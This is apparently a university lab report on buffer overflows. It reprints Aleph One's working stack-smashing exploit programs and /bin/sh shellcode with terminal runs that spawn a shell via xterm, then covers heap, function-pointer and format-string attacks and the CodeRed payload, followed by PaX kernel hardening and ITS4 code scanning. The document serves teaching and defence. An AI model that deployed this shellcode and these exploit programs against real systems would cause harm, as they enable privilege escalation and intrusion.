if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
63
----------------------------------------------------------------------------A good selection for our buffer size is about 100 bytes more than
the size
of the buffer we are trying to overflow. This will place our code at
the end
of the buffer we are trying to overflow, giving a lot of space for the
NOPs,
but still overwriting the return address with the address we guessed.
The
buffer we are trying to overflow is 512 bytes long, so we'll use 612.
Let's
try to overflow our test program with our new exploit:
----------------------------------------------------------------------------[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
----------------------------------------------------------------------------Whoa! First try! This change has improved our chances a
hundredfold.
Let's try it now on a real case of a buffer overflow. We'll use for
our
demonstration the buffer overflow on the Xt library. For our example,
we'll
use xterm (all programs linked with the Xt library are vulnerable). You
must
be running an X server and allow connections to it from the localhost.
Set
your DISPLAY variable accordingly.
----------------------------------------------------------------------------[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1¤FF
°
óV
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64
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^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1¤FF
°
óV
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65
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Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1¤FF
°
óV
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66
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Warning: some arguments in previous message were lost
bash$
----------------------------------------------------------------------------Eureka! Less than a dozen tries and we found the magic numbers. If
xterm
where installed suid root this would now be a root shell.
Small Buffer Overflows
~~~~~~~~~~~~~~~~~~~~~~
There will be times when the buffer you are trying to overflow is so
small that either the shellcode wont fit into it, and it will overwrite
the
return address with instructions instead of the address of our code, or
the
number of NOPs you can pad the front of the string with is so small
that the
chances of guessing their address is minuscule. To obtain a shell from
these
programs we will have to go about it another way. This particular
approach
only works when you have access to the program's environment variables.
What we will do is place our shellcode in an environment variable,
and
then overflow the buffer with the address of this variable in memory.
This
method also increases your changes of the exploit working as you can
make
the environment variable holding the shell code as large as you want.
The environment variables are stored in the top of the stack when
the
program is started, any modification by setenv() are then allocated
67
elsewhere.
The stack at the beginning then looks like this:
<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
Our new program will take an extra variable, the size of the
variable
containing the shellcode and NOPs. Our new exploit now looks like this:
exploit4.c
----------------------------------------------------------------------------#include <stdlib.h>
#define
#define
#define
#define
DEFAULT_OFFSET
DEFAULT_BUFFER_SIZE
DEFAULT_EGG_SIZE
NOP
0
512
2048
0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize
= atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
68
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
----------------------------------------------------------------------------Lets try our new exploit with our vulnerable test program:
----------------------------------------------------------------------------[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
----------------------------------------------------------------------------Works like a charm. Now lets try it on xterm:
----------------------------------------------------------------------------[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
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Warning: some arguments in previous message were lost
$
----------------------------------------------------------------------------On the first try! It has certainly increased our odds. Depending
how
much environment data the exploit program has compared with the program
you are trying to exploit the guessed address may be to low or to high.
Experiment both with positive and negative offsets.
71
Finding Buffer Overflows
~~~~~~~~~~~~~~~~~~~~~~~~
As stated earlier, buffer overflows are the result of stuffing more
information into a buffer than it is meant to hold. Since C does not
have any
built-in bounds checking, overflows often manifest themselves as
writing past
the end of a character array. The standard C library provides a number
of
functions for copying or appending strings, that perform no boundary
checking.
They include: strcat(), strcpy(), sprintf(), and vsprintf(). These
functions
operate on null-terminated strings, and do not check for overflow of
the
receiving string. gets() is a function that reads a line from stdin
into
a buffer until either a terminating newline or EOF. It performs no
checks for
buffer overflows. The scanf() family of functions can also be a
problem if
you are matching a sequence of non-white-space characters (%s), or
matching a
non-empty sequence of characters from a specified set (%[]), and the
array
pointed to by the char pointer, is not large enough to accept the whole
sequence of characters, and you have not defined the optional maximum
field
width. If the target of any of these functions is a buffer of static
size,
and its other argument was somehow derived from user input there is a
good
posibility that you might be able to exploit a buffer overflow.
Another usual programming construct we find is the use of a while
loop to
read one character at a time into a buffer from stdin or some file
until the
end of line, end of file, or some other delimiter is reached. This
type of
construct usually uses one of these functions: getc(), fgetc(), or
getchar().
If there is no explicit checks for overflows in the while loop, such
programs
are easily exploited.
To conclude, grep(1) is your friend. The sources for free operating
systems and their utilities is readily available. This fact becomes
quite
interesting once you realize that many comercial operating systems
utilities
where derived from the same sources as the free ones. Use the source
d00d.
72
Appendix A - Shellcode for Different Operating
Systems/Architectures
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
i386/Linux
----------------------------------------------------------------------------jmp
0x1f
popl
%esi
movl
%esi,0x8(%esi)
xorl
%eax,%eax
movb
%eax,0x7(%esi)
movl
%eax,0xc(%esi)
movb
$0xb,%al
movl
%esi,%ebx
leal
0x8(%esi),%ecx
leal
0xc(%esi),%edx
int
$0x80
xorl
%ebx,%ebx
movl
%ebx,%eax
inc
%eax
int
$0x80
call
-0x24
.string \"/bin/sh\"
----------------------------------------------------------------------------SPARC/Solaris
----------------------------------------------------------------------------sethi
0xbd89a, %l6
or
%l6, 0x16e, %l6
sethi
0xbdcda, %l7
and
%sp, %sp, %o0
add
%sp, 8, %o1
xor
%o2, %o2, %o2
add
%sp, 16, %sp
std
%l6, [%sp - 16]
st
%sp, [%sp - 8]
st
%g0, [%sp - 4]
mov
0x3b, %g1
ta
8
xor
%o7, %o7, %o0
mov
1, %g1
ta
8
----------------------------------------------------------------------------SPARC/SunOS
----------------------------------------------------------------------------sethi
0xbd89a, %l6
or
%l6, 0x16e, %l6
sethi
0xbdcda, %l7
and
%sp, %sp, %o0
add
%sp, 8, %o1
73
xor
%o2, %o2, %o2
add
%sp, 16, %sp
std
%l6, [%sp - 16]
st
%sp, [%sp - 8]
st
%g0, [%sp - 4]
mov
0x3b, %g1
mov
-0x1, %l5
ta
%l5 + 1
xor
%o7, %o7, %o0
mov
1, %g1
ta
%l5 + 1
----------------------------------------------------------------------------Appendix B - Generic Buffer Overflow Program
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode.h
----------------------------------------------------------------------------#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE
4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
74
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
----------------------------------------------------------------------------eggshell.c
----------------------------------------------------------------------------/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET
#define DEFAULT_BUFFER_SIZE
#define DEFAULT_EGG_SIZE
0
512
2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
75
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i +=
NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>]
[-o <offset>]\n");
}
-----------------------------------------------------------------------------
76
APPENDIX B: Buffer Overflow
1 Advances in Buffer Overflow
1.1 First generation – Stack overflow
The Buffer overflow technique described in Aleph One’s paper is limited to
Stacks. Such attacks are classified as First generation Attacks. We will describe newer
trends in Buffer overflow.
1.2.1 Second generation - Heap Overflows
A common misconception by programmers is that by dynamically allocating
memory (utilizing heaps) they can avoid using the stack, and thus, reduce the likelihood
of exploitation. While stack overflows may be the low-hanging fruit, utilizing heaps does
not instead eliminate the possibility of exploitation. The HeapA heap is memory that has
been dynamically allocated. This memory is logically separate from the memory
allocated for the stack and code. Heaps are dynamically created (e.g., new, malloc) and
removed (e.g., delete,free). Heaps are generally used because the size of memory needed
by the program is not known ahead of time, or is larger than the stack. The memory,
where heaps are located, generally do not contain return addresses such as the stack.
Thus, without the ability to overwrite saved return addresses, redirecting execution is
potentially more difficult. However, that does not mean by utilizing heaps, one is secure
from buffer overflows and exploitation.
By overflowing a heap, one does not typically affect EIP. However, overflowing
heaps can potentially overwrite data or modify pointers to data or functions. For example,
on a locked down system one may not be able to write to C:\AUTOEXEC.BAT.
However, if a program with system rights had a heap buffer overflow, instead of writing
to some temporary file, someone could change the pointer to the temporary file name to
instead point to the string C:\AUTOEXEC.BAT, and thus, induce the program with
system rights to write to C:\AUTOEXEC.BAT. This results in user-rights elevation. In
addition, heap buffer overflows can also generally result in a denial of service allowing
one to crash an application.
Consider the following vulnerable program, which writes characters to
C:\harmless.txt:
#include <stdio.h>
#include <tdlib.h>
#include <string.h>
void main(int argc, char **argv)
{
int i=0,ch;
FILE *f;
static char buffer[16], *szFilename;
szFilename = “C:\\harmless.txt”;
ch = getchar();
while (ch != EOF)
{
buffer[i] = ch;
ch = getchar();
i++;
}
77
f = fopen(szFilename, “w+b”);
fputs(buffer, f);
fclose(f);
}
Memory will appear like:
Address
0x00300ECB
...
0x00407034
...
0x00407680
0x00407690
Variable
argv[1]
...
*szFilename
...
Buffer
szFilename
Value
...
C:\harmless.txt
...
XXXXXXXXXXXXXXX
Notice that buffer is close to szFilename. If one can overflow buffer, one can overwrite
the szFilename pointer and change it from 0x00407034 to another address. For example,
changing it to 0x00300ECB, which is argv[1], allows one to change the filename to any
arbitrary filename passed on the command line.
For example, if buffer is equal to: XXXXXXXXXXXXXXXX00300ECB and argv[1] is
C:\AUTOEXEC.BAT, memory appears as:
Address
0x00300ECB
...
0x00407034
...
0x00407680
0x00407690
Variable
argv[1]
...
*szFilename
...
Buffer
szFilename
Value
C:\AUTOEXEC.BAT
...
C:\harmless.txt
...
XXXXXXXXXXXXXXX
0x00300ECB
Notice that szFilename has changed and now points to argv[1], which is
C:\AUTOEXEC.BAT. So, while heap overflows may be more difficult to exploit than the
average stack overflow, unfortunately utilizing heaps does not guarantee one is
invulnerable to overflow attacks.
1.2.2 Second Generation - Function Pointers
Another second generation overflow involves function pointers. A function
pointer occurs mainly when callbacks occur. If, in memory, a function pointer follows a
buffer, there is the possibility to overwrite the function pointer if the buffer is unchecked.
Here is a simple example of such code.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int CallBack(const char *szTemp)
{
printf(“CallBack(%s)\n”, szTemp);
return 0;
78
}
void main(int argc, char **argv)
{
static char buffer[16];
static int (*funcptr)(const char *szTemp);
funcptr = (int (*)(const char *szTemp))CallBack;
strcpy(buffer, argv[1]); // unchecked buffer
(int)(*funcptr)(argv[2]);
}
Here is what memory looks like:
Address
00401005
004013B0
...
004255D8
004255DC
Variable
CallBack()
system()
...
buffer
funcptr
Value
...
...
ABCDEFGHIJKLMNOP
00401005
So, for the exploit, one passes in the string ABCDEFGHIJKLMNOP004013B0 as
argv[1] and the program will call system() instead of CallBack(). In this case, usage of a
NULL (0x00) byte renders this example inert.
Address
00401005
004013B0
...
004255D8
004255EE
Variable
CallBack()
system()
...
buffer
funcptr
Value
...
...
????????
004013B0
This demonstrates another non-stack overflow that allows the attacker to run any
command by spawning system() with arbitrary arguments.
1.3 Third Generation – Format String
Format string vulnerabilities occur due to sloppy coding by software engineers. A
variety of C language functions allow printing the characters to files, buffers, and the
screen. These functions not only place values on the screen, but can format them as well.
The following program takes in one command line parameter and writes the parameter
back to the screen. Notice the printf statement is used incorrectly by using the argument
directly instead of a format control.
int vuln(char buffer[256])
{
int nReturn=0;
printf(buffer); // print out command line
// printf(“%s”,buffer); // correct-way
return(nReturn);
}
79
void main(int argc,char *argv[])
{
char buffer[256]=””; // allocate buffer
if (argc == 2)
{
strncpy(buffer,argv[1],255); // copy command line
}
vuln(buffer); // pass buffer to bad function
}
This program will copy the first parameter on the command line into a buffer. Then, the
buffer will be passed to the vulnerable function. However, since the buffer is being used
as the format control, instead of feeding in a simple string, one can attempt to feed in a
format specifier. For example, running this program with the argument “%X” will return
some value on the stack instead of “%X”:
C:\>myprog.exe %X
401064
The program interprets the input as the format specifier and returns the value on the stack
that should be the passed-in argument. In this example we display arbitrary memory, but
the key to exploitation from the point of view of a malicious hacker or virus writer would
be the ability to write to memory in order to inject arbitrary code. The format function
families allow for the “%n” format specifier. This format specifier will store (write to
memory) the total number of bytes written. For example,
printf(“foobar%n”,&nBytesWritten);
will store “6” in nBytesWritten since foobar consists of six characters. Consider the
following:
C:\>myprog.exe foobar%n
When executed instead of displaying the value on the stack after the format control, the
program will attempt to write to that location. So, instead of displaying 401064 as
demonstrated above, the program will attempt to write the number 6 (the total characters
in foobar) to the address 401064 and result in an application error message
Knowing how the stack appears, consider the following exploit string:
C:>myprog.exe AAAA%x%x%n
The first format specifier, “%x,” is considered the Return Address, the next format
specifier, “%x,” is ptr to buffer. Finally, %n will attempt to write to the address specified
by the next DWORD on the stack, which is 0x41414141 (AAAA). This allows an
attacker to write to arbitrary memory addresses.
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2 Cross-Over attacks – Buffer overflow technique in Computer viruses
The CodeRed worm was a major shock to the antivirus industry since it was the
first worm that spread not as a file, but solely in memory by utilizing a buffer overflow in
Microsoft IIS. Many antivirus companies were unable to provide protection against
CodeRed, while other companies with a wider focus on security were able to provide
solutions to the relief of end users. Usually new techniques are picked up and used by
copycat virus writers. Thus, many other similarly successful worms followed CodeRed,
such as Nimda and Badtrans.
The CodeRed worm was released to the wild in July of 2001. The worm
replicated to thousands of systems in a matter of a few hours. It was estimated that well
over 300,000 machines were infected by the worm within 24 hours. All of these machines
were Windows 2000 systems running vulnerable versions of Microsoft IIS. Interestingly
enough the worm did not need to create a file on the remote system in order to infect it,
but existed only in memory of the target system. The worm accomplished this by getting
into the process context of the Microsoft IIS with an extremely well crafted attack via
port 80 (web service) of the target system.
First the IIS web server receives GET /default.ida? followed by 224 characters,
URL encoding for 22 Unicode characters (44 bytes), an invalid Unicode encoding of
%u00=a, HTTP 1.0, headers, and a request body.
For the initial CodeRed worm, the 224 characters are N, but there were other
implementations that used other filler bytes such as X. In all cases, the URL-encoded
characters are the same (they look like%uXXXX, where X is a hex digit). The request
body is different for each of the known variants.
IIS keeps the body of the request in a heap buffer (probably the one it read it into
after processing the Content-length header indicating the size to follow). Note that a GET
request is not allowed to have a request body, but IIS dutifully reads it according to the
header’s instructions anyway. For this very reason,an appropriately configured firewall
would cut the request body (and the worm), and CodeRed could not infect the attacked
system.
Buffer Overflow Details
While processing the 224 characters in the GET request, functions in IDQ.DLL
overwrite the stack at least twice once when expanding all characters to Unicode, and
again when decoding the URL-escaped characters. However, the overwrite that results in
the transfer of control to the worm body happens when IDQ.DLL calls
DecodeURLEscapes() in QUERY.DLL. The caller is supposed to specify a length in
wide chars, but instead specifies a number of bytes. As a result, DecodeURLEscapes()
thinks it has twice as much room as it actually has, so it ends up overwriting the stack.
Some of the decoded Unicode characters specified in URL encoding end up overwriting a
frame-based exception block. Even after the stack has been overwritten, processing
continues until a routine is called in MSVCRT.DLL. This routine notices that something
is wrong and throws an exception.
Exceptions are thrown by calling the KERNEL32.DLL routine RaiseException().
RaiseException() ends up transferring control to KiUserExceptionDispatcher() in
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NTDLL.DLL. When KiUser Exception Dispatcher() is invoked, EBX points to the
exception frame that was overwritten.
The exception frame is composed of 4 DWORDs, the second of which is the
address of the exception handler for the represented frame. The URL encoding whose
expansion overwrote this frame starts with the third occurrence of %u9090 in the URL
encoding, and is:
%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3
This decodes as the four DWORDs: 0x68589090, 0x7801CBD3, 0x90909090,
and 0x00C38190. The address of the exception handler is set to 0x7801CBD3 (2nd
DWORD), and KiUserException Dispatcher() calls there with EBX pointing at the first
DWORD via CALL ECX. Address 0x7801CBD3 in IIS’s address space is within the
memory image for the C run-time DLL MSVCRT.DLL. MSVCRT.DLL is loaded to a
fixed address. At this address in MSVCRT.DLL is the instruction CALL EBX. When
KiUserExceptionDispatcher() invokes the exception handler, it calls to the CALL EBX,
which in turn transfers control to the first byte of the overwritten exception block. When
interpreted as code, these instructions find and then transfer control to the main worm
code, which is in a request buffer in the heap.
The author of this exploit needed the decoded Unicode bytes to function both as
the frame-based exception block containing a pointer to the “exception handler” at
0x7801CBD3, and as runable code. The first DWORD of the exception block is filled
with 4 bytes of instructions arranged so that they are harmless, but also place the
0x7801CBD3 at the second DWORD boundary of the exception block. The first two
DWORDs (0x68589090, 0x7801CBD3) disassemble into the instructions: nop, nop, pop
eax, push 7801CBD3h, which accomplish this task easily.
Having gained execution control on the stack (and avoiding a crash while running
the “exception block”), the code finds and executes the main worm code. This code
knows that there is a pointer (call it pHeapInfo) on the stack 0x300 bytes from EBX’s
current value. At pHeapInfo+0x78, there is a pointer (call it pRequestBuff) to a heap
buffer containing the GET request’s body, which contains the main worm code. With
these two key pieces of information, the code transfers control to the worm body in the
heap buffer. The worm code does its work, but never returns - the thread has been
hijacked (along with the request buffer owned by the thread).
Exception Frame Vulnerability
This technique of usurping exception handling is complicated (and crafting it
must have been difficult). The brief period between the eEye description of the original
exploit and the appearance of the first CodeRed worm leads us to believe that this
technique is somewhat generic. Perhaps the exception handling technique has been
known to a few buffer overflow enthusiasts for some time, and this particular overflow
was a perfect opportunity to use it.
Having exception frames on the stack makes them extremely vulnerable to
overflows. In other words the CodeRed worm relied on the Windows exception frame
vulnerability to carry out a quick buffer overflow attack against IIS systems.
The information on this document is based on sources in Symantec’s website and
PHRACK magazine.
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APPENDIX C: PaX – Hardening Stacks through Kernel
Stack-based and heap-based shell code injections require the stack and
data sections to be executable. The shell code is inserted into sections
of memory that are then jumped to and start executing. A variety of
techniques exist of both types but both classes of attack can be
mitigated in a novel way. Prevent code on the stack or heap from being
executed!
PaX is a project that intends to prevent execution in the stack or heap.
PaX calls this noexec and it is currently implemented for Linux and is
available as a patch to the default kernel tree. The project's website
is pax.grsecurity.net and patches can be downloaded from there. We will
use the latest 2.6 kernel patch and deploy it on our Redhat Enterprise
Workstation 4.0 machines.
Some general warnings on worth mentioning. A few legitimate applications
require the stack or heap to be executable. Those applications can
frequently be written in another way to avoid doing that. The protection
offered by execution control is often more valuable than these applications.
A little detail about how PaX does it's magic on i386. A thorough
knowledge of paging and virtual memory is required. Our discussion is
limited to execution protection using the paging unit of the Memory
Managing Unit (an alternative segmentation approach is possible as
well). Most other architectures have hardware support to facilitate
noexec for pages. The i386 architecture does not, so a little trick was
developed.
Because of the locality principle (take a systems course), code
execution and data execution remain in roughly the same area. Intel
provided two Translation Look-aside Buffers (TLBs) for these two types
of access. A TLB is a cache for linear to physical memory mappings. In a
high level, PaX marks all the protected page entries in the Instruction
TLB (ITLB) as non-present. This would normally cause a page fault that
generally swaps the page from disk into memory. Instead of swapping the
page into memory, the page fault handler checks if execution protection
is enabled for that page. If noexec is used for that page, the offended
process will be killed via a signal.
There are several details omitted for simplicity. PaX also tracks which
pages are associated with a processes stack. It keeps the ITLB in a
state to generate a page fault if an offending page is accessed for
instructions. On other architectures, PaX uses the existing hardware
controls. Our wide-spread and antiquated i386s do not have these features.
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The following documentation describes building a PaX-enabled kernel for
Redhat Enterprise Linux 4.0. It should be generic enough to extend to
other distributions and kernels.
Fetch the following files from a kernel.org mirror (such as
ftp-linux.cc.gatech.edu/pub/kernel.org/) and pax.grsecurity.net
respectively. Copy them to your lab machine (CD-R or USB pendrive
suggested).
linux-2.6.11.12.tar.bz2 – kernel source
grsecurity-2.1.6-2.6.11.12-200506141713.patch.gz
Extract kernel source so we can build our new kernel:
cd /usr/src
tar xvfj /path/to/linux-2.6.11.12.tar.bz2 .
The default kernel source tree does not incorporate Grsecurity. It is
necessary to patch the kernel:
cp /path/to/grsecurity...patch.gz .
gunzip grsecurity...patch.gz
cd linux-2.6.11.12
patch -p1 <../gresecurity...patch
Examine the current running kernel so we know which .config file to base
our work from:
uname -a
Copy the xisiting kernel config from running kernel source tree. We were
running 2.6.9-11.EL-smp-i686 and so:
cp /usr/src/kernels/2.6.9-11.EL-smp-i686/.config .
Modify the kernel configuration to enable the features we want for
noexec. First bring up the configuration mechanism:
make menuconfig
Select the following options (* means compiled in):
Security->Grsecurity->*
Security->PaX->Enable various PaX features->*
Paging based non-executable pages->*
Security->PaX->Address Space Layout Randomization->*
Save and exit menuconfig.
Now our kernel is configured correctly but not yet built. To build the
kernel and associated modules:
make dep bzImage modules modules_install
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Linux uses an initial ramdisk to load extra modules during the boot
process. Make the initial ramdisk:
mkinitrd /boot/initrd-2.6.11.12-pax.img 2.6.11.12-grsec
Add new kernel option to bootloader. Redhat uses grub which is a fine
option. Put the kernel into the appropriate location:
cp arch/i386/boot/bzImage /boot/vmlinuz-2.6.11.12-pax
Grub uses a configuration file to tell it how to boot each kernel or
operating system choice. Add the following four lines to
/boot/grub/grub.conf
title Red Hat Enterprise Linux 2.6.11.12-pax
root (hd0,0)
kernel /vmlinuz-2.6.11.12-pax ro
root=/dev/VolGroup00/LogVol00 \ rhgb quiet
/initrd /initrd-2.6.11.12-pax.img
Reboot and select new kernel option in grub.
Verify new kernel is 2.6.11.12-pax:
uname -a
Our system came back up without any problems. Sometimes our
modifications might not be bootable or we fail to add something Redhat
needs. That's why we tried to stay as close to Redhat's configuration as
possible.
The new kernel can generally defeat most of the traditional shell code
techniques described in Smashing the Stack for Fun and Profit. Run the
examples on the RHEL now and the processes should terminate immediately
as they try and execute from the stack. Neat!
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APPENDIX D: ITS4 – Static Source Code Analyzer
This Lab was devoted to actually working and experiencing Buffer Overflow attacks.
This appendix explores different means to counteract such exploits in the future. Before
proceeding towards that, some background. Buffer Overflows are known to be mainly
caused by the following two:
1. Poor programming skills – software coders often just use primitive forms and
forget to include more definitive types of functions with bound limits instead
opting for more ambiguous types or formats which is in fact the most common
cause of Buffer exploits.
2. Lack of inherent Buffer bound checking in C/C++ which is the most commonly
used language.
For any security vulnerability to occur, the following 2 aspects should be kept in mind:
1. One should have control over the data being written into the buffer in order to
actually cause an overflow which can exploited meaningfully.
2. There should be OS sensitive data/variables stored after the buffer in memory
within striking distance for the overflow to actually corrupt it.
Hence, as experienced in lab, Buffer overflow exploits are a very serious threat to
workstations in any given environment. Researchers have identified 3 main sets of
countermeasures against Buffer overflow exploits:
1. Language Level: One can make changes to the potentially vulnerable code and
make it safer for use by using different libraries or functions which incorporate
bound checking. Eg. Libsafe, Libmib.
2. Source Code Level: Tools have beeen written which automatically analyze code
to check for various potentially buffer abuses. Eg. ITS4.
3. Compiler Level: Different add-ons are available which patch different compilers
to give them the additional functionality of Bound checking which will help to
severely limit Buffer Overflow exploits. Eg. Stackshield.
WE choose the take the second route and hence went about utilizing ITS4 as a means to
counteract the different Buffer overflow exploits performed in lab. ITS4 is a command
line tool which statically scans source code files for security vulnerabilities, especially
Buffer overflow vulnerabilities. Once an issue is identified, it assesses the threat and rates
it from low to Very Risky. It also provides a problem report, including a short description
of the potential problem and suggestions on how to solve the issue. The instructions for
setting up ITS4 are as follows:
1. Download source tar file from http://www.cigital.com/its4
2. Untar the file using the “tar xvzf filename” command.
3. Change directory to the ITS folder by “ cd its4”
4. Type “./configure”
5. Type “make”
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6. Type “make install”
At this point, the application should be completely installed and setup for use.
Usage: “its4 filename”
Screenshot with the different options available with ITS4:
Testing
The different exploit files provided in the StackSmash folder on the Nas4112 were
utilized for testing purposes with ITS4. First, we used exploit1.c which basically copied
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the code so that it overwrote the return address with the buffer location by using an
overflowing memory stack.
Screenshot of Exploit1.c
Screenshot with output results from ITS4 after scanning.
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Screenshot with output of ITS4 by running it on Exploit4.c
For our last test, we used a GDI+ exploit file which basically creates a JPEG file with
hidden code which is executed when the image is viewed. The exploit was fixed with the
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SP2 patch. We used it just for variety sake and to see how ITS4 worked on different type
of exploits. The results for you to see below. As mentioned earlier, ITS4 has a very
detailed database which provides description of the potential problem along with a
probable fix as seen explicitly below:
On the whole, ITS4 is a great tool for predetermining exploit possibilities, however like
any other software; it has its own drawbacks. It heavily relies on a database which needs
to be constantly updated from time to time. Due to this, false positives are also possible
and it is up to the user to reassess the threat mentioned by ITS4 to make the required
changes to prevent such exploits. However, it is a highly automated tool which is a boon
for large files which spans thousands of lines and it is a much better solution than
manually using grep which can be painful at times. In order to make it a full time security
tool, Linuxsecurity.com is working with the developers of ITS4 to improve and expand
the database and parsing technique of the software.
From the perspective of the given lab, considering how harmful buffer overflow attacks
can be, we believe that instructing students to run ITS4 on the exploit files given in
Stacksmash will help provide a better insight as to what may be exactly causing the
problems mentioned. It will be extremely helpful for the non computer programming
savvy students since its extremely simple to install , use and can be of great help to
interpret the results in Lab.
References:
http://www.rsasecurity.com/rsalabs/node.asp?id=2011
